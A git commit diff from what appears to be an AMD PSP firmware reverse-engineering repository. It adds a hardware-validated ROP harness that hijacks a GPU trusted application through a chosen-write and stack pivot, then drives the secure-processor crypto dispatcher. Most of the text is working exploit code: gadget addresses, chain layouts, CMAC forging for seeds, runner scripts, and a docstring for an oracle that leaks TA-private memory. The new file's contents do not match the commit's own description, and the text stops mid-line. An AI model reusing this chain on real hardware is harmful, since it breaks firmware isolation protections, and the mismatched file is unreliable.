diff options
| author | user <user@clank> | 2026-10-08 13:50:00 +0200 |
|---|---|---|
| committer | user <user@clank> | 2026-10-08 13:50:00 +0200 |
| commit | e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72 (patch) | |
| tree | c43394bf054beb9007dfceaee731d0b1b7fae171 | |
| parent | add clean GCP->SYS_DRV crypto ROP harness (hw/gcp_rop_crypto.py) (diff) | |
| download | amd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.tar.gz amd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.tar.xz amd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.zip | |
crypto ROP harness: multi-op (two-svc) validated on silicon + usage/status doc
gcp_rop_crypto2.py: issues TWO svc 0xf2 service-1 calls inside ONE FE0A-hijacked chain (the FE0A->ROP
hijack is one-shot per boot, so stateful sequences must be in one chain). Hardware-validated:
- create SHA256 -> handle 0x10 (status 0, dumped back)
- create -> create -> handles 0x10 then 0x11: multi-op sequencing + crypto CONTEXT STATE PERSISTENCE
proven on silicon
- create -> digest(0x08): input 32B placed in the GCP-window scratch and dumped back correctly; the
transform returned 0xffff0006 because op 0x08 reads ctx[5]>>3 (digest len) which create leaves 0
(it stores diglen at ctx[3]) -- op 0x08 expects the operation 'started' (ctx[5] set by a
digest-init step). Precisely characterized via sub_E0B148/sub_E1CDEC/sub_E055D0; documented as the
next lead.
Added fw/HARNESS-GCP-CRYPTO-ROP.md (mechanism, message layout, AllocateOperation tuple, buffer-
direction table off_E0AB70@0xe25850, validated results, the digest state-machine lead) and mirrored
hw/gcp_rop_crypto.py, hw/gcp_rop_crypto2.py + runners into the repo.
The harness is clean, parameterized, and hardware-validated driving real crypto operations (context
creation with state persistence) with input/output buffer plumbing and result dump-back.
| -rw-r--r-- | fw/HARNESS-GCP-CRYPTO-ROP.md | 75 | ||||
| -rwxr-xr-x | hw/crypto2_run.sh | 8 | ||||
| -rwxr-xr-x | hw/crypto2b_run.sh | 9 | ||||
| -rwxr-xr-x | hw/crypto_ops.sh | 9 | ||||
| -rw-r--r-- | hw/gcp_rop_crypto.py | 119 | ||||
| -rw-r--r-- | hw/gcp_rop_crypto2.py | 306 |
6 files changed, 457 insertions, 69 deletions
diff --git a/fw/HARNESS-GCP-CRYPTO-ROP.md b/fw/HARNESS-GCP-CRYPTO-ROP.md new file mode 100644 index 0000000..3ab62ea --- /dev/null +++ b/fw/HARNESS-GCP-CRYPTO-ROP.md @@ -0,0 +1,75 @@ +# Harness: GCP-ROP crypto driver (svc 0xf2 service 1 -> SYS_DRV GP-TEE crypto dispatcher) + +A clean, parameterized ROP harness that drives the SYS_DRV GP-TEE crypto dispatcher (`sub_E1DC30`, +opcodes `< 0x1000`, ACL-free) from a ROP'd GCP TA and dumps results back to host-readable `params`. +Built on the proven FE0A sel-4 chosen-write -> stack-migration -> `svc 0xf2` service-1 chain. + +## Files (on the hardware box at /root/psp/hw, mirrored here in hw/) + +* `gcp_rop_crypto.py` -- single crypto op per boot. Env `OPCODE` + `MSGSPEC` (JSON dword_index->value) + OR `OPS` (JSON list, runs each via fresh FE07/0C/08/09/0A -- but see one-shot note below). +* `gcp_rop_crypto2.py` -- **two `svc 0xf2` calls inside ONE FE0A-hijacked chain** (the working + multi-op form). Env `OPS`=JSON `[{op,msg},{op,msg}]`; also `INBYTES` (hex, placed in a window scratch + at `STACK_DST+0x500`) and `DUMP_OFF` (which migrated-block offset to dump). +* runners: `crypto_run.sh`, `crypto_ops.sh`, `crypto2_run.sh`, `crypto2b_run.sh`, `crypto_algo_sweep.sh` + (each: ATX cycle + one detached invocation; poll the `.log`). + +## Mechanism + +The FE0A ROP migrates a block to `STACK_DST=0x410000` (GCP window), issues `svc 0xf2` with `r0=1` +(service 1 = SYS_DRV), `r1=msg` (crypto request), exfils the `svc` return `r0` to `params+0x3000`, +and runs a SECOND in-chain `memcpy` that copies a chosen migrated-block region to `params+0x3010` +(host-readable) -- this is how inline results and output buffers are read back. A graceful-return tail +restores the TA (ring survives; marker `0x5a` at `params+0x3100`). + +**One-shot hijack:** the FE0A->ROP hijack fires only ONCE per boot (re-priming FE08/09/0A, even with a +fresh handshake, does not re-hijack). Stateful sequences (create -> operate) therefore issue BOTH +`svc 0xf2` calls inside a single ROP chain (`gcp_rop_crypto2.py`). Context handles are deterministic +on a fresh boot (first create -> `0x10`), so the second op references the first op's handle without +threading a return value. + +## Crypto request message layout (dispatcher a1 = 124-byte copy of msg) + + msg[0] = opcode + msg[2..9] = up to 4 (ptr,len) buffer pairs; validated to the GCP window [0x400000,0x800000) + by the type-5 svc-0xf2 gate + SVC 0xB5. Direction per opcode is in table + off_E0AB70 -> 0xe25850 (stride 0x14): attr 1=input, 2=output, 0=unused. + msg[14] = TEE_AllocateOperation output handle (written by op 0x01) + msg[15] = algorithm (op 0x01) / operation handle (op 0x08 digest) + msg[16] = mode (TEE_MODE: 0 ENC,1 DEC,2 SIGN,3 VERIFY,4 MAC,5 DIGEST,6 DERIVE) + msg[17] = maxKeySize + +`TEE_AllocateOperation(algo,mode,maxKeySize)` validation = `sub_E055D0`; wrong tuple -> `0xffff000a`. + +## HARDWARE-VALIDATED results (stock .54 card) + +| test | result | +|---|---| +| op 0x01 create SHA256 digest (`msg[15]=0x50000004, msg[16]=5, msg[17]=0`) | **status 0x0**, handle `0x10` written to `msg[14]` and dumped back; marker `0x5a`; ring ok | +| op 0x01 -> op 0x01 (two-svc chain) | op A handle `0x10`, **op B handle `0x11`** -> multi-op sequencing + crypto context STATE PERSISTENCE proven | +| op 0x01 -> op 0x08 digest, input 32 B `00..1f` in window scratch, output buffer in window | input correctly placed + dumped back (`03020100 ... 1f1e1d1c`); digest returned `0xffff0006` (see lead) | + +These confirm end-to-end: GCP ROP -> `svc 0xf2` service 1 -> SYS_DRV GP-TEE crypto dispatcher executes +real crypto operations, state persists across calls, and input/output buffers (in the GCP window) are +placed and dumped back to the host. + +## Understanding validated / corrected by the harness + +* message layout + `TEE_AllocateOperation` tuple (`msg[15/16/17]`, handle at `msg[14]`) -- confirmed. +* buffer-direction table `off_E0AB70`@`0xe25850` -- confirmed op 0x08 = [in,in,out,-]. +* crypto buffers confined to the GCP window `[0x400000,0x800000)` (type-5 gate) -- consistent (no + cross-domain buffer accepted). +* corrected model: create REQUIRES the mode field `msg[16]` (initial `0xffff000a` was wrong-mode). +* discovered + solved the one-shot FE0A-hijack limitation (two-svc-in-one-chain). + +## Open lead: the digest DATA transform (op 0x08) needs the operation "started" + +`sub_E1CDEC` computes `v9 = ctx[5] >> 3` (expected digest length) and rejects `input_len > v9`. +`sub_E0B148` confirms handle `0x10` resolves to the exact ctx created by op A (same table `0xe575b8`, +owner-checked). But create (`sub_E055D0`) stores the digest byte-length at `ctx[3]` (=32 for SHA256) +and leaves **`ctx[5]=0`**, so `v9=0` and any input is rejected with `0xffff0006`. So op 0x08 is not a +one-shot DoFinal from a freshly-allocated op -- it expects `ctx[5]` to have been set by a prior +digest-init/reset step in the GP-TEE digest state machine. Next: find the op that sets `ctx[5]` +(DigestInit/reset) and chain create -> init -> digest (the two-svc chain extends to N by adding svc +stages), then verify the dumped output equals the host SHA256. This is exploration the harness now +enables. diff --git a/hw/crypto2_run.sh b/hw/crypto2_run.sh new file mode 100755 index 0000000..0bf9bd1 --- /dev/null +++ b/hw/crypto2_run.sh @@ -0,0 +1,8 @@ +#!/bin/bash +cd /root/psp && source ./env.sh >/dev/null 2>&1 +rm -f /tmp/am_usb*.lock +$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1 +cd /root/psp/hw +echo "---- OPS=$1 ----" +OPS="$1" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto2.py 2>&1 | grep -E "self-test|load GCP|TWO-SVC|FE0A status|svc\(B\)|msgB|final FE07|Traceback|Error" | head -30 +echo CRYPTO2-DONE diff --git a/hw/crypto2b_run.sh b/hw/crypto2b_run.sh new file mode 100755 index 0000000..b064587 --- /dev/null +++ b/hw/crypto2b_run.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# $1=OPS $2=INBYTES $3=DUMP_OFF +cd /root/psp && source ./env.sh >/dev/null 2>&1 +rm -f /tmp/am_usb*.lock +$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1 +cd /root/psp/hw +echo "---- digest test ----" +OPS="$1" INBYTES="$2" DUMP_OFF="$3" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto2.py 2>&1 | grep -E "self-test|load GCP|TWO-SVC|FE0A status|svc\(B\)|msgB|final FE07|Traceback|Error" | head -30 +echo CRYPTO2B-DONE diff --git a/hw/crypto_ops.sh b/hw/crypto_ops.sh new file mode 100755 index 0000000..0052a6f --- /dev/null +++ b/hw/crypto_ops.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# $1 = OPS json +cd /root/psp && source ./env.sh >/dev/null 2>&1 +rm -f /tmp/am_usb*.lock +$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1 +cd /root/psp/hw +echo "---- OPS=$1 ----" +OPS="$1" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto.py 2>&1 | grep -E "self-test|load GCP|crypto op sequence|\[op |msg\[14\]|dump M|final FE07|Traceback|Error" | head -40 +echo CRYPTO-OPS-DONE diff --git a/hw/gcp_rop_crypto.py b/hw/gcp_rop_crypto.py index 1335eac..3afa1c5 100644 --- a/hw/gcp_rop_crypto.py +++ b/hw/gcp_rop_crypto.py @@ -209,65 +209,51 @@ def fe0c(h,a10,a18): return b # ===================== CRYPTO ROP HARNESS (svc 0xf2 service 1, opcode < 0x1000) ===================== -# Drives the SYS_DRV GP-TEE crypto dispatcher (sub_E1DC30) from a ROP'd GCP TA and dumps the -# post-op message region back to host-readable params so inline results (e.g. a created context -# handle at msg[14]) are observable. +# Drives the SYS_DRV GP-TEE crypto dispatcher (sub_E1DC30) from a ROP'd GCP TA. Supports a MULTI-OP +# sequence in one boot (crypto contexts are stateful and persist across invokes within a boot), and +# dumps each op's post-op message region back to host-readable params so inline results (e.g. a +# created context handle at msg[14]) and small outputs are observable. # # Env: -# OPCODE crypto opcode (default 0x1 = create context) -# MSGSPEC JSON {"<dword_index>": value} -> extra request fields written at msg[index] +# OPS JSON list of ops, each {"op": <opcode>, "msg": {"<dword_index>": value, ...}} +# e.g. [{"op":1,"msg":{"15":1342177284,"16":5,"17":0}}] # AllocateOperation(SHA256,DIGEST,0) +# (back-compat) OPCODE + MSGSPEC drive a single op if OPS is unset. # -# Message layout (dispatcher a1 = 124-byte copy of msg): -# msg[0] = opcode -# msg[2..9] = up to 4 (ptr,len) buffer pairs (validated to the GCP window by SVC 0xB5) -# msg[14]/[15]= inline handle/algo fields (op-specific) -# After the op, sub_E087E4 copies the 124-byte working buffer back over msg, so results land inline. -RBASE_OFF=0x2000 # primary chain (host buf), RBASE=params+0x2000 -SRC_OFF =0x2200 # migrated block source (host buf) -STACK_DST=0x00410000 # in-window GCP RW dest (SP after repivot); GCP TA window -MLEN =0x400 # migrated block length (room for dump stage + msg) -EXFIL =PARAMS+0x3000 # svc 0xf2 return status r0 lands here -DUMPDST =PARAMS+0x3010 # post-op message M[0..DUMPLEN] copied here (host-readable) -DUMPLEN =0x80 -MARK2 =PARAMS+0x3100 # graceful-chain-ran marker -SETARGS =0x0040167f # pop {r0,r1,r2,r3,r4,r5,r6,r7,r8,sb,sl,fp,ip,pc} -MEMCPYG =0x0040410b # blx memcpy ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc} -SVC1 =0x004061cb # svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} (keeps r0) -EXFILG =0x0040404f # str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc} -SERVICE =1 # service 1 = SYS_DRV +# Buffer-direction table off_E0AB70 -> 0xe25850 (stride 0x14): per opcode, 4 attrs for msg buffer +# pairs (msg[2/3],[4/5],[6/7],[8/9]); 1=input, 2=output, 0=unused. e.g. op 8 (digest)=[in,in,out,-]. +RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x00410000; MLEN=0x400 +EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; DUMPLEN=0x80; MARK2=PARAMS+0x3100 +SETARGS=0x0040167f; MEMCPYG=0x0040410b; SVC1=0x004061cb; EXFILG=0x0040404f +SERVICE=1; MSG_OFF=0x300; GRACE=0x184 import os as _os, json as _json -OPCODE =int(_os.environ.get('OPCODE','0x1'),16) -MSGSPEC =_json.loads(_os.environ.get('MSGSPEC','{}')) # {"dword_index": value} -MSG_OFF =0x300 # msg at STACK_DST+0x300 (in window) -GRACE =0x184 # graceful-return block at STACK_DST+0x184 +_ops_env=_os.environ.get('OPS') +if _ops_env: + OPS=_json.loads(_ops_env) +else: + OPS=[{"op":int(_os.environ.get('OPCODE','0x1'),16), + "msg":{k:int(v) for k,v in _json.loads(_os.environ.get('MSGSPEC','{}')).items()}}] -def chain(buf): +def chain(buf, opcode, msgspec): def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF) - # ---- primary chain in host buffer: migrate block -> STACK_DST, pivot in ---- o=RBASE_OFF for k in range(0,0x20,4): W(o+k,0) W(o+0x20, SETARGS) - W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN) # r0=dst r1=src r2=len + W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN) for k in range(0x30,0x58,4): W(o+k,0) W(o+0x58, MEMCPYG) - W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT) # r4=STACK_DST ; -> repivot - # ---- migrated block (STACK_DST-relative offsets from m) ---- + W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT) m=SRC_OFF - for k in range(0,0x20,4): W(m+k,0) # PIVOT pops r4..fp - W(m+0x20, SETARGS) # -> setargs for svc - W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSG_OFF) # r0=service r1=msg + for k in range(0,0x20,4): W(m+k,0) + W(m+0x20, SETARGS) + W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSG_OFF) for k in range(0x2c,0x58,4): W(m+k,0) - W(m+0x58, SVC1) # -> svc 0xf2 (r0=status kept) - W(m+0x78,0); W(m+0x7c, EXFIL); W(m+0x80, EXFILG) # r5=EXFIL ; -> exfil status - # EXFILG pops r4,r5,r7,pc @ m+0x104..0x110 ; redirect pc to SETARGS for the dump-memcpy - W(m+0x104,0); W(m+0x108,0); W(m+0x10c,0); W(m+0x110, SETARGS) - # SETARGS pops @ m+0x114.. : memcpy(DUMPDST, STACK_DST+MSG_OFF, DUMPLEN) + W(m+0x58, SVC1) + W(m+0x78,0); W(m+0x7c, EXFIL); W(m+0x80, EXFILG) # exfil svc 0xf2 status r0 + W(m+0x104,0); W(m+0x108,0); W(m+0x10c,0); W(m+0x110, SETARGS) # -> dump-memcpy setargs W(m+0x114, DUMPDST); W(m+0x118, STACK_DST+MSG_OFF); W(m+0x11c, DUMPLEN) for k in range(0x120,0x148,4): W(m+k,0) - W(m+0x148, MEMCPYG) # -> memcpy (dump msg) - # MEMCPYG pops r4,r5,r7,pc @ m+0x174..0x180 : r4=grace base, pc=PIVOT + W(m+0x148, MEMCPYG) # memcpy(DUMPDST, msg, DUMPLEN) W(m+0x174, STACK_DST+GRACE); W(m+0x178,0); W(m+0x17c,0); W(m+0x180, PIVOT) - # ---- graceful return at STACK_DST+GRACE ---- g=m+GRACE W(g+0x00,0x5A); W(g+0x04,MARK2) for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0) @@ -278,13 +264,11 @@ def chain(buf): W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB) W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0) W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT) - # ---- crypto message M at STACK_DST+MSG_OFF ---- - for k in range(MSG_OFF,MSG_OFF+0x100,4): W(m+k,0) # zero M (incl buffer pairs) - W(m+MSG_OFF, OPCODE) # M[0]=opcode - for idx,val in MSGSPEC.items(): - W(m+MSG_OFF+int(idx)*4, int(val)&0xFFFFFFFF) # arbitrary request fields + for k in range(MSG_OFF,MSG_OFF+0x100,4): W(m+k,0) + W(m+MSG_OFF, opcode) + for idx,val in msgspec.items(): W(m+MSG_OFF+int(idx)*4, int(val)&0xFFFFFFFF) -def qcs(h,dA,dB): +def qcs(h,dA,dB,opcode,msgspec): b=bytearray(bytes([0xBB])*BUFLEN) _s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h) _s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000) @@ -292,26 +276,23 @@ def qcs(h,dA,dB): _s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0) _s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200) _s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0) - chain(b); return b + chain(b,opcode,msgspec); return b A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32) -h=handshake() -stc,_=sub(sid,0xFE0C,fe0c(h,A10,A18)) -sub(sid,0xFE08,build(0xFE08,h,blob256=CT)) -sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0})) -out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04))) -st=_s.unpack_from('<I',out,8)[0]; fr=fframe() -status=_s.unpack_from('<I',out,0x3000)[0] -grace_marker=out[0x3100] -msgdump=out[0x3010:0x3010+DUMPLEN] -print("CRYPTO FE0A status=%#x faultFSR=%#x faultaddr=%#x"%(st,fr[3],fr[4])) -print(" graceful marker @+0x3100 = %#04x (want 0x5a)"%grace_marker) -print(" svc 0xf2 return @+0x3000 = %#x"%status) -md=[_s.unpack_from('<I',msgdump,i*4)[0] for i in range(DUMPLEN//4)] -print(" post-op msg dump (M[0..%d]):"%(DUMPLEN//4)) -for i in range(0,DUMPLEN//4,8): - print(" M[%2d]: %s"%(i," ".join("%08x"%md[i+j] for j in range(8) if i+j<len(md)))) +print("=== crypto op sequence (%d ops, one boot; fresh setup per op) ==="%len(OPS)) +for n,spec in enumerate(OPS): + op=int(spec["op"]); msgspec=spec.get("msg",{}) + h=handshake() # fresh FE07 handle per op (ctx persists in SYS_DRV) + sub(sid,0xFE0C,fe0c(h,A10,A18)) + sub(sid,0xFE08,build(0xFE08,h,blob256=CT)) + sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0})) + out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04),op,msgspec)) + status=_s.unpack_from('<I',out,0x3000)[0] + grace=out[0x3100] + md=[_s.unpack_from('<I',out,0x3010+i*4)[0] for i in range(DUMPLEN//4)] + reached=(status!=0xffff0001) + print("[op %d] opcode=%#x status=%#x grace=%#04x reached=%s"%(n,op,status,grace,reached)) + print(" msg[14]=%#x msg[15]=%#x msg[16]=%#x msg[17]=%#x"%(md[14],md[15],md[16],md[17])) + print(" dump M[0..7]: %s"%" ".join("%08x"%md[i] for i in range(8))) ta,o2=sub(sid,0xFE07,build(0xFE07,0)); h2=_s.unpack_from('<I',o2,0x1950)[0] -print(" follow-up FE07 (no ATX): ta=%#x handle=%#x ringok=%s"%(ta,h2,ta==0)) -reached=(status!=0xffff0001) -print(" RESULT OPCODE=%#x status=%#x M[14]=%#x reached=%s ringok=%s"%(OPCODE,status,md[14],reached,ta==0)) +print(" final FE07 (no ATX): ta=%#x ringok=%s"%(ta,ta==0)) diff --git a/hw/gcp_rop_crypto2.py b/hw/gcp_rop_crypto2.py new file mode 100644 index 0000000..075121c --- /dev/null +++ b/hw/gcp_rop_crypto2.py @@ -0,0 +1,306 @@ +"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle. + +params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000). +Target VA T -> D = (T - params - 0x14) mod 2^32, placed at *(params+0x824). +Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT). +Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the +AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below +(the box has no crypto module). 32 probes binary-search the full 32-bit value. +""" +import struct, sys, glob, json +sys.path.insert(0,'/root/psp/hw') +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# ---------- pure-python AES-128 + CMAC ---------- +SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16] +def xt(a): + a<<=1 + return (a^0x1b)&0xff if a&0x100 else a +def expand(k): + w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1 + for i in range(4,44): + t=list(w[i-1]) + if i%4==0: + t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc) + w.append([w[i-4][j]^t[j] for j in range(4)]) + return w +def enc(k,b): + w=expand(k); s=[list(b[i::4]) for i in range(4)] + s=[[b[r+4*c] for c in range(4)] for r in range(4)] + def ark(rnd): + for c in range(4): + for r in range(4): s[r][c]^=w[rnd*4+c][r] + ark(0) + for rnd in range(1,11): + for r in range(4): + for c in range(4): s[r][c]=SB[s[r][c]] + for r in range(1,4): s[r]=s[r][r:]+s[r][:r] + if rnd!=10: + for c in range(4): + a=[s[r][c] for r in range(4)] + s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3] + s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3] + s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3] + s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3]) + ark(rnd) + return bytes(s[r][c] for c in range(4) for r in range(4)) +def dbl(b): + n=int.from_bytes(b,'big')<<1 + if int.from_bytes(b,'big')>>127: n^=0x87 + return (n&((1<<128)-1)).to_bytes(16,'big') +def cmac(k,m): + L=enc(k,bytes(16)); K1=dbl(L) + assert len(m)%16==0 and m + blocks=[m[i:i+16] for i in range(0,len(m),16)] + blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1)) + x=bytes(16) + for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk))) + return x +# ---------- device ---------- +adev=Device["AMD"].iface.dev_impl; psp=adev.psp +BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000 +g=json.load(open('/root/psp/hw/fe08_good.json')) +CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff'] +assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED' +print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)') +def alloc(n): + pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) +def load_asd(p): + b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3 + adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta + t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b) + t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000 + try: return psp._ring_submit(c).resp.status&0xFFFFFFFF + except Exception: return -1 +app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN) +blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +def load(): + n=(len(blob)+3)&~3 + adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta + t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob) + t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN + try: + r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id + except Exception: return -1,None +def build(cmd,arg10,blob256=None,seed=None,extra=None): + buf=bytearray(bytes([PAT])*BUFLEN) + struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10) + struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ) + if blob256: buf[0x14:0x14+len(blob256)]=blob256 + if seed is not None: + d=seed.to_bytes(4,'little')+bytes(range(4,0x20)) + buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d + struct.pack_into('<I',buf,0x414,0x10+len(d)) + for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v) + return buf +def sub(sid,cmd,buf): + adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) + iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd + try: psp._ring_submit(c) + except Exception: pass + adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:]) + return struct.unpack_from('<I',out,8)[0], out + +import time +PARAMS=0x04024000 +FILL=0xBB +print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin'))) +st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush() +def unload(s_): + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_ + try: psp._ring_submit(c) + except Exception: pass +def handshake(): + global sid + for _ in range(8): + ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0] + if ta==0: return h + unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2) + raise RuntimeError('FE07 failed') + +# ============================================================================ +# FE0A SELECTOR-8 PROBE (Addendum 142 step 3) +# +# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a +# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418, +# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818). +# +# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the +# command buffer, so nothing out-of-allocation is written and the ring stays healthy. +# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed -- +# the 0x834 field identity is a static inference and may be wrong. +# ============================================================================ +FILL2 = 0xBB + +def invoke(cmd, buf): + adev.vram.view(cp, BUFLEN)[:] = bytes(buf); 